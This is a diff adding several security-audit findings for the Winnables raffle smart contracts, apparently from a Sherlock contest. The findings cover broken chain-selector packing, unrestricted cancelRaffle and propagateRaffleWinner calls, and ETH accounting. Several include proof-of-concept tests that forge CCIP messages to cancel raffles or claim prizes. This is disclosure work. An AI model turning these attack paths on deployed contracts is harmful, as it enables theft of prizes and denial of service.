+ +- External users can call `cancelRaffle` with the `prizeManager, chainSelector and raffleId` which further calls the internal helper function `_checkShouldCancel(raffleId)` which returns fulfilling the first if the condition of `if (raffle.status == RaffleStatus.PRIZE_LOCKED) return;` And the function `cancelRaffle` propagates the cancellation message through `CCIP` +- External users can call `drawWinner(raffleId)` which only checks for the external pre-conditions mentioned above. It doesn't check if the `raffleStatus` is `CANCELED` +- External user can call `propagateRaffleWinner(prizeManager, chainSelector, raffleId)` again not `raffleStatus` checked. +- The winner calls the `claimPrize(raffleId)` in `WinnablesPrizeManager` to get the NFT prize. +- Winner calls the `refundPlayers(raffleId, [address]` to get the refund for purchased ticket + +### Impact + +The attack best works for the NFT prize-type raffles as the first cancellation message removes/decreases the funds or unlocks the funds to withdraw. The cancelled raffle winner can get both prize NFT and refund eth causing damage to the admins/manager entity which locked the prize. + +### PoC + +POC adds the existing unit test code of the project [test/PrizeManager.sol](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/PrizeManager.js) + +```javascript +describe('Attempts to draw the raffle and claim the NFT as the winner after it being cancelled', () => { + before(async () => { + snapshot = await helpers.takeSnapshot(); + }); + after(async () => { + await snapshot.restore(); + }); + + it('First Cancel Message', async () => { + await (await manager.setCCIPCounterpart(counterpartContractAddress, 1, true)).wait(); + const tx = await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x000000000000000000000000000000000000000000000000000000000000000001', + destTokenAmounts: [] + }) + ); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + expect(events[0].event).to.eq('PrizeUnlocked'); + }); + + it('Winner Message', async () => { + await (await manager.setCCIPCounterpart(counterpartContractAddress, 1, true)).wait(); + const tx = await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x' + + '01' + + '0000000000000000000000000000000000000000000000000000000000000001' + + winnablesDeployer.address.slice(-40).toLowerCase(), + destTokenAmounts: [] + }) + ); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + expect(events[0].event).to.eq('WinnerPropagated'); + }); + + it('Can claim the NFT now', async () => { + const raffleWinner = await manager.getWinner(1); + expect(raffleWinner).to.eq(signers[0].address); + const tx = await manager.claimPrize(1); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(2); + const transferEvent = nft.interface.parseLog(events[0]); + expect(transferEvent.name).to.eq('Transfer'); + const { from, to, tokenId } = transferEvent.args; + expect(from).to.eq(manager.address); + expect(to).to.eq(winnablesDeployer.address); + expect(tokenId).to.eq(1); + expect(events[1].event).to.eq('PrizeClaimed'); + const { raffleId, winner } = events[1].args; + expect(raffleId).to.eq(1); + expect(winner).to.eq(winnablesDeployer.address); + }); + }); + + +``` + + +### Mitigation + +- Add checks before drawing the winner if the `RaffleStatus` is canceled \ No newline at end of file diff --git a/001/400.md b/001/400.md new file mode 100644 index 0000000..5eaa7b5 --- /dev/null +++ b/001/400.md @@ -0,0 +1,75 @@ +Fancy Blonde Mustang + +High + +# Problem with setting ccip contract + +## Summary + +The `BaseCCIPContract` includes functionality for whitelisting a tuple of `contractAddress` and `chainSelector`. However, the underlying function that combines these two values, `BaseCCIPContract::_packCCIPContract`, contains a flaw that causes it to malfunction. + +## Vulnerability Detail + +The issue lies in the current implementation of `BaseCCIPContract::_packCCIPContract`. + +### Problem: +The `chainSelector`, defined as a `uint64`, is shifted left by 160 bits. However, since `chainSelector` is only 64 bits, this operation shifts all of its bits out of range, resulting in a value of `0`. Consequently, the expression `uint256(chainSelector << 160)` always evaluates to `0`. + +### Outcome: +As a result, the final output of the function is determined solely by the `contractAddress`, ignoring the `chainSelector`. This means that different `chainSelector` values produce the same output when combined with the same `contractAddress`. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L31-L45 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L277 + +## Impact + +A malicious user with a whitelisted address on one chain could exploit this vulnerability by bypassing security checks in the `WinnablePrizeManager::_ccipReceive` function. This would allow them to draw a winner for a raffle, potentially enabling them to steal rewards. A malicious user which address is whitelisted but on another chain could send ccip message and bypass the check, and select itself as winner and withdraw all of the rewards. + +## Code Snippet + +```solidity +function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) internal { + bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); + _ccipContracts[counterpart] = enabled; + } + + function _packCCIPContract( + address contractAddress, + uint64 chainSelector + ) internal pure returns (bytes32) { + return + bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); + } +``` + +## Tool Used + +Manual Review + +## Recommendation + +To fix this issue, modify the function as follows: + +```diff +function _packCCIPContract( + address contractAddress, + uint64 chainSelector +) internal pure returns (bytes32) { + return + bytes32( + uint256(uint160(contractAddress)) | ++ (uint256(chainSelector) << 160) +- uint256(chainSelector << 160) + ); +} +``` + +This change ensures that the `chainSelector` is properly shifted within a `uint256` context, allowing the function to generate a unique `bytes32` value for each combination of `contractAddress` and `chainSelector`. \ No newline at end of file diff --git a/001/401.md b/001/401.md new file mode 100644 index 0000000..7939f54 --- /dev/null +++ b/001/401.md @@ -0,0 +1,41 @@ +Docile Daisy Wallaby + +High + +# An attacker will permanently lock prizes in `WinnablesPrizeManager` by calling `cancelRaffle` with an arbitrary prizeManager address + +### Summary + +Lack of access control in the `cancelRaffle` function will cause permanent locking of NFTs, ETH, and Tokens in the `WinnablesPrizeManager` contract as an attacker will call the function with an arbitrary prizeManager address, causing the raffle to be marked as canceled without properly sending the CCIP message. + +### Root Cause + +In [WinnablesTicketManager.sol:278](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278), the `cancelRaffle` function lacks access control, allowing anyone to call it with arbitrary parameters, leading to the raffle being marked as canceled without verifying the prizeManager address and chainSelector. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. An attacker calls `cancelRaffle` with an arbitrary prizeManager address and a valid raffleId. +2. The function sets the raffle status to `RaffleStatus.CANCELED`, preventing the function from being called again for the same raffle. +3. The function attempts to send a CCIP message to the arbitrary prizeManager address. However, if the address is incorrect, the intended `WinnablesPrizeManager` never receives the message. +4. Since the `WinnablesPrizeManager` never receives the `RAFFLE_CANCELED` message, the `_cancelRaffle` function in `WinnablesPrizeManager` is never executed. +5. As a result, NFTs, ETH, and Tokens that were locked for the raffle remain locked forever, as there is no subsequent way to unlock them. + +### Impact + +The protocol suffers from permanent locking of NFTs, ETH, or Tokens associated with the canceled raffle. These assets remain frozen, and neither the attacker nor any admins could withdraw or unlock them. The prizes are effectively frozen within the contract indefinitely. + +### PoC + +_No response_ + +### Mitigation + +Implement access control on the `cancelRaffle` function to ensure that only authorized roles can call it. Alternatively, validate the `prizeManager` address and `chainSelector` parameters. \ No newline at end of file diff --git a/001/402.md b/001/402.md new file mode 100644 index 0000000..7fa9ff1 --- /dev/null +++ b/001/402.md @@ -0,0 +1,57 @@ +Lively Coconut Panther + +High + +# lockedETH Is Not Updated When Users Are Refunded + +## Summary + +Due to lockedETH being not updated in the refund process ETH would be stuck in the contract / loss of funds. + +## Vulnerability Detail + +1.) The users buy tickets paying in ETH and the amount paid is accounted in the lockedETH + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206 + +2.) The raffle gets cancelled , imagine there were 100 ETH paid out as tickets and lockedETH would be 100 ETH + +3.) The players would get a refund then here -> + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +4.) Now there is 0 eth in the contract but lockedEth still stores 100 ETH since it was not updated. + +5.) Now another raffle begins , this time 110 ETH was paid up as tickets value , now there is 110 ETH as eth balance , and lockedETH = 100 + 110 = 210 ETH and after `propagateRaffleWinner()` it would be 210 - 110 = 100 eth (L343) + +6.) Raffle gets over , admin wants to withdraw the ETH now , calls withdrawETH() -> + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300 + +```solidity +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` + +balance would be 110 ETH - 100 ETH = 10 ETH , and total eth is 110 ETH in the contract , therefore 100 ETH is stuck inside. + +## Impact + +Due to lockedETH being not updated in the refund process ETH would be stuck in the contract / loss of funds. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L225 + +## Tool used + +Manual Review + +## Recommendation + +Update lockedETH inside refund appropriately \ No newline at end of file diff --git a/001/403.md b/001/403.md new file mode 100644 index 0000000..47a7494 --- /dev/null +++ b/001/403.md @@ -0,0 +1,148 @@ +Raspy Spruce Parrot + +High + +# Attacker can abuse `cancelRaffle` to DoS the protocol + +### Summary + +An attacker calling cancelRaffle immediately after the prize is locked for a given raffle can cause a Denial of Service (DoS) for the protocol, as the attacker can repeatedly call this function every time a new prize is locked. + +### Root Cause + +- In [WinnablesTicketManager::cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288), there is no modifier that permits concrete roles to execute the function. +- In [WinnablesTicketManager::_checkShouldCancel()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441) if the prize is locked anyone can cancel. + +### Internal pre-conditions + +1. Admin locks a prize using `WinnablesPrizeManager`. +2. The CCIP message is received successfully +3. The raffle status is changed to `RaffleStatus::PRIZE_LOCKED` +4. A [RafflePrizeLocked](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L383-L387) event is emitted. + +### External pre-conditions + +1. Attacker is subscribed to `RafflePrizeLocked` events from the `WInnablesTicketManager`. + +### Attack Path + +1. The attacker receives the emitted event. +2. The attacker calls `cancelRaffle()` with more gas to front-run the Admin. +3. The raffle is canceled, and the prize is unlocked in the `WinnablesPrizeManager`. + +### Impact + +- The protocol will never be able to create raffle. +- The protocol will lose LINK to transmit messages. + +### PoC + +```javascript +const { ethers } = require('hardhat'); +const { expect } = require('chai'); +const helpers = require('@nomicfoundation/hardhat-network-helpers'); + +const { + getWalletWithEthers, blockTime, timeSeconds, +} = require('./common/utils'); +const { ccipDeployTicketManager } = require('../utils/demo'); +const { whileImpersonating } = require('../utils/impersonate'); + +ethers.utils.Logger.setLogLevel(ethers.utils.Logger.levels.ERROR); + +describe('CCIP Ticket Manager', () => { + let ccipRouter; + let link; + let signers; + let manager; + let snapshot; + let counterpartContractAddress; + + + before(async () => { + signers = await ethers.getSigners(); + const result = await ccipDeployTicketManager(); + link = result.link; + manager = result.ticketManager; + ccipRouter = result.ccipRouter; + + counterpartContractAddress = signers[1].address; + }); + + describe("Issues with TicketManager", () => { + before(async () => { + snapshot = await helpers.takeSnapshot(); + }); + + after(async () => { + await snapshot.restore(); + }); + + it('Anyone could cancel the raffle after `RafflePrizeLocked` event received.', async () => { + // Mint LINK + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + + // Simulate message from CCIP for prize locked + const sourceChainSelector = 1; + await (await manager.setCCIPCounterpart(counterpartContractAddress, sourceChainSelector, true)).wait(); + let tx = await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x0000000000000000000000000000000000000000000000000000000000000001', + destTokenAmounts: [] + }) + ); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + expect(events[0].event).to.eq('RafflePrizeLocked'); + const { raffleId } = events[0].args; + expect(raffleId).to.eq(1); + + const attacker = await getWalletWithEthers(); + + // Act + const cancelTx = await manager.connect(attacker).cancelRaffle(counterpartContractAddress, sourceChainSelector, raffleId); + const res = await cancelTx.wait(); + + // Assert + const cancelEvents = res.logs + expect(cancelEvents).to.have.lengthOf(3); + const ccipMessageEvent = ccipRouter.interface.parseLog(cancelEvents[0]); + expect(ccipMessageEvent.name).to.eq('MockCCIPMessageEvent'); + expect(ccipMessageEvent.args.data).to.eq('0x000000000000000000000000000000000000000000000000000000000000000001'); + }); + }); +}); +``` + +### Mitigation + +1. Add a `onlyRole` modifier for the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288): +```diff +- function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { ++ function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external onlyRole(0) { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +2. Add logic in [_checkShouldCancel()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441) so that only Admins can cancel if raffle has not been created yet: +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; ++ if (raffle.status == RaffleStatus.PRIZE_LOCKED && _hasRole(msg.sender,0)) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/405.md b/001/405.md new file mode 100644 index 0000000..f0fee35 --- /dev/null +++ b/001/405.md @@ -0,0 +1,61 @@ +Joyous Iron Tarantula + +Medium + +# VRFNFTRandomDraw admin can prevent created or stated raffle from taking place + +## Summary +VRFNFTRandomDraw admin can prevent created or stated raffle from taking place. +## Vulnerability Detail + function drawWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + _checkShouldDraw(raffleId); + raffle.status = RaffleStatus.REQUESTED; + + uint256 requestId = VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords( + KEY_HASH, + SUBSCRIPTION_ID, + 3, + 100_000, + 1 + ); + _chainlinkRequests[requestId] = RequestStatus({ + raffleId: raffleId, + randomWord: 0 + }); + raffle.chainlinkRequestId = requestId; + emit RequestSent(requestId, raffleId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + + + function fulfillRandomWords( + uint256 requestId, + uint256[] memory randomWords + ) internal override { + RequestStatus storage request = _chainlinkRequests[requestId]; + Raffle storage raffle = _raffles[request.raffleId]; + if (raffle.status != RaffleStatus.REQUESTED) revert RequestNotFound(requestId); + request.randomWord = randomWords[0]; + raffle.status = RaffleStatus.FULFILLED; + emit WinnerDrawn(requestId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(request.raffleId); + } + +## Impact +The admin/owner of VRFNFTRandomDraw can startDraw() a raffle including emitting the setup Draw event but in a way ensures +fulfillRandomWords is never called. +For example :keyhash is not validated from requestRandomWords.providing an invalid keyhash will allow the raffle to start but prevent the oracle from actually supplying a random value to determine the traffle result. + + +The admin/owner could alternatively ensure that the owner provided chainlink VRF subscription dosnot have sufficient funds to pay at the time the oracle attempts to supply random values in fulfillRandomWords + +in addition ,owner/admin could simply avoid ever calling strartdraw() in the first place. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L350 +## Tool used + +Manual Review + +## Recommendation +fulfillRandomWords could be a precondition of the admin reclaiming the reward NFT. diff --git a/001/406.md b/001/406.md new file mode 100644 index 0000000..f30ef80 --- /dev/null +++ b/001/406.md @@ -0,0 +1,75 @@ +Daring Parchment Goblin + +High + +# `External` function `cancelRaffle` in `WinnablesTicketManager` contract can be called by anyone, leading to severe damage to core functionality. + +## Vulnerability Detail +The `WinnablesTicketManager` contract is responsible for creating raffles with a specific raffle ID, which ID is sent to the contract via CCIP. In order for a user to participate in a raffle, they should buy tickets for the specific raffle. This is done via the `buyTickets` function. However if the time runs out and the minimum number of tickets wasn’t reached, it becomes possible to cancel the raffle. Let's have a deeper look into `cancelRaffle` function: + +```javascript + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +The function `cancelRaffle` is `external`, which can be called by anyone. Inside it calls the `_checkShouldCancel` function, which checks if the raffle should be canceled. Here comes the issue: + +```javascript + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +The `raffle.status` is set to `PRIZE_LOCKED`, when the admin locks a prize for the raffle. This is done by calling either `lockNFT`, `lockETH` or `lockTokens` in `WinnablesPrizeManager` contract and the raffle ID is sent to `WinnablesTicketManager` via CCIP. In that case, when a user calls `cancelRaffle`, the `_checkShouldCancel` function will always return, because of the first if-statement, and exit the function: + +```javascript +if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +``` + +This means that a malicious user can track when a raffle is created, and call the `cancelRaffle` function to cancel the raffle. This can cause 2 serious functionality issues: +1. Every raffle ID will be canceled and the admin will not be able to create a raffle. +2. `cancelRaffle` function sends a message throught CCIP, which is done by paying a certain amount of LINK tokens. In that case, the user spends LINK tokens from the contract. + +## Impact +Core functionality of the protocol (creating raffles) can be severely damaged, and funds can be forcefully spent from the contract (LINK tokens). + +## Code Snippet +https://github.com/Winnables/public-contracts/blob/9474451539b7081f5b2e246c68b90a16e7c55b31/contracts/WinnablesTicketManager.sol#L279 +https://github.com/Winnables/public-contracts/blob/9474451539b7081f5b2e246c68b90a16e7c55b31/contracts/WinnablesTicketManager.sol#L436 + +## Tool used +Manual Review + +## Recommendation +When the status of a raffle is `PRIZE_LOCKED`, it means that the admin can create a raffle with the specific raffle ID. When the status of the raffle is `IDLE`, it means that the raffle is created and users can buy tickets to participate in the raffle. Consider removing the first if-statement in `_checkShouldCancel`, which canceles when status is `PRIZE_LOCKED`. + +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +If the admin wants to make the status from `PRIZE_LOCKED` to `CANCELED` for some reason, consider creating a function, which changes the status, and can be called only by the admin. For example: + +```javascript + function setCancelState(uint256 raffleId) external onlyRole(0) { + _raffles[raffleId].status = RaffleStatus.CANCELED; + } +``` \ No newline at end of file diff --git a/001/407.md b/001/407.md new file mode 100644 index 0000000..5e88c42 --- /dev/null +++ b/001/407.md @@ -0,0 +1,53 @@ +Lively Coconut Panther + +Medium + +# Winners Can Be Griefed Of Their Deserving Prizes + +## Summary + +The admin is supposed to be 100% trusted BUT only has one exception , "Winnables admins cannot do anything to prevent a winner from withdrawing their prize" from the README . But turns out there exists a case where this can be done + +## Vulnerability Detail + +1.) After the entire raffle has been completed the ticket manager contract would send a message to the prize manager contract telling who is the winner , https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L340 + +2.) Prize manager receives the above message and updates the winner address + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L276 + +3.) Now the winner is entitles to the rewards and will be claiming the prize via the `claimPrize()` function , but the admin doesnt like this outcome and , + +4.) Before the winner could call claimPrize() (via frontrunning), sets his malicious counterpart address which is in the admin's control +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134 + +5.) Then sends a message from the malicious counterpart to the prize manager with a RAFFLE_CANCELED message , since there are no +checks to see if the winner has already been declared, the function would mark the raffle as cancelled and cancel the raffle -> + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L270-L273 + +6.) Now the raffle status is CANCELLED , and most importantly (lets for example assume the prize locked was a NFT) the NFT has been unlocked here -> + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L285 + +7.) And the admin now calls `withdrawNFT()` and since NFT has been unlocked the admin would receive the NFT + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L230-L232 + +8.) Most importantly , now the winner can't claim his prize NFT (when the claimPrize executes) since it has been already sent to the admin , the admin has successfully griefed the winner to not get his deserving prize. + +## Impact + +The admin has successfully griefed the winner and the winner now would not receive his deserving prize . + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L270-L273 + +## Tool used + +Manual Review + +## Recommendation + +If the winner has already been chosen reject any subsequent messages. \ No newline at end of file diff --git a/001/409.md b/001/409.md new file mode 100644 index 0000000..3c8095e --- /dev/null +++ b/001/409.md @@ -0,0 +1,137 @@ +Future Butter Horse + +Medium + +# `_ccipReceive` is not properly access-restricted because the `ChainSelector` is not included in the packed `BaseCCIPContract._ccipContracts` mapping + +## Vulnerability details + +When the admin calls the `setCCIPCounterpart` function to enable the trusted contract on the opposite chain, the internal function [`BaseCCIPContract._packCCIPContract`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPContract.sol#L40-L45) should pack the `contractAddress` and `chainSelector` into a single bytes32 value. However, due to incorrect shifting, the `chainSelector` value is lost. Subsequently, when `_ccipReceive` is called, the `chainSelector` remains unvalidated: + +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + ... + } +``` + +Additionally, according to CCIP documentation best practices, the source chain of the `_ccipReceive` function should be verified. + +https://docs.chain.link/ccip/best-practices#verify-source-chain + +However, in the `_ccipReceive` function, although there's an attempt at validation, the flaw in `_packCCIPContract` makes this check ineffective. + +## Impact + +This vulnerability allows the source chain to remain unverified, enabling untrusted addresses to call the `_ccipReceive` function on both [`WinnablesTicketManager`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L365-L388) and [`WinnablesPrizeManager`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) from unauthorized chains. This access could potentially compromise the entire game, allowing malicious actors to cancel raffles or manipulate winner selection. + +## Proof of Concept + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; +import {BaseCCIPContract} from "../contracts/BaseCCIPContract.sol"; + +contract POC is Test { + BaseCCIPContractTest ccipContract; + + function setUp() public { + ccipContract = new BaseCCIPContractTest(); + } + + function test_pack() public { + address addr = address(779467539909814889708631910782017610483164022920); // address(0x8888888888888888888888888888888888888888) + uint64 num = type(uint64).max; + + emit log_named_address("contract address ", addr); + emit log_named_uint("chain selector ", num); + + bytes32 pack = ccipContract.packCCIPContract(addr, num); + bytes32 packFixed = ccipContract.packCCIPContractFixed(addr, num); + + emit log_named_bytes32("packCCIPContract ", pack); + emit log_named_bytes32("packCCIPContractFixed ", packFixed); + + (address a, uint64 n) = ccipContract.unpack(pack); + emit log_named_address("unpacked contract address ", a); + emit log_named_uint("unpacked chain selector ", n); + + (a, n) = ccipContract.unpack(packFixed); + + emit log_named_address("fixed unpacked contract address ", a); + emit log_named_uint("fixed unpacked chain selector ", n); + } +} + +contract BaseCCIPContractTest is BaseCCIPContract { + constructor() BaseCCIPContract(address(0)) {} + + function packCCIPContract(address contractAddress, uint64 chainSelector) external returns(bytes32) { + return _packCCIPContract(contractAddress, chainSelector); + } + + function packCCIPContractFixed(address contractAddress, uint64 chainSelector) external returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector) << 160 + ); + } + + function unpack(bytes32 packedData) external returns(address, uint64) { + // Extract the first 160 bits for the address + address contractAddress = address(uint160(uint256(packedData))); + + // Extract the upper 64 bits for the chainSelector + uint64 chainSelector = uint64(uint256(packedData >> 160)); + + return (contractAddress, chainSelector); + } +} +``` + +Result: + +```solidity +Logs: + contract address : 0x8888888888888888888888888888888888888888 + chain selector : 18446744073709551615 + packCCIPContract : 0x0000000000000000000000008888888888888888888888888888888888888888 + packCCIPContractFixed : 0x00000000ffffffffffffffff8888888888888888888888888888888888888888 + unpacked contract address : 0x8888888888888888888888888888888888888888 + unpacked chain selector : 0 + fixed unpacked contract address : 0x8888888888888888888888888888888888888888 + fixed unpacked chain selector : 18446744073709551615 +``` + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L368-L370 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L263-L265 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPContract.sol#L40-L45 + +## Tools Used + +Manual Review + +## Recommendation + +Instead of shifting `chainSelector` 160 bits to the left before converting it to `uint256`, it should be converted first and then shifted + +```diff + function _packCCIPContractFixed(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | +- uint256(chainSelector << 160) ++ uint256(chainSelector) << 160 + ); + } +``` \ No newline at end of file diff --git a/001/411.md b/001/411.md new file mode 100644 index 0000000..4da497b --- /dev/null +++ b/001/411.md @@ -0,0 +1,117 @@ +Future Butter Horse + +High + +# Anyone can prevent the winner of the raffle from claiming their prize. + +## Summary + +When the raffle status is `FULFILLED`, any user can call `propagateRaffleWinner` with arbitrary `address` and `chainSelector` parameters. This redirects the `ccipSend` to an unintended destination instead of the legitimate `WinnablesPrizeManager` (on Ethereum), effectively blocking the raffle winner from claiming their prize. + +## Vulnerability Detail + +When the raffle ends and the VRF [`fulfillRandomWords`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L350-L361), the [status is set](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L358) to `FULFILLED`. + +Then, someone should call [`propagateRaffleWinner`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) to broadcast the winner from `WinnablesTicketManager` (on Avalanche) to `WinnablesPrizeManager` (on Ethereum). The [`propagateRaffleWinner`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function accepts three parameters:`prizeManager`address,`chainSelector`, and`raffleId`. Notably, there's no validation performed on these inputs. + +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } +} +``` + +This vulnerability allows any user to call the function with arbitrary `prizeManager` address and `chainSelector` parameters. They can specify a contract that supports `ccipReceive`, 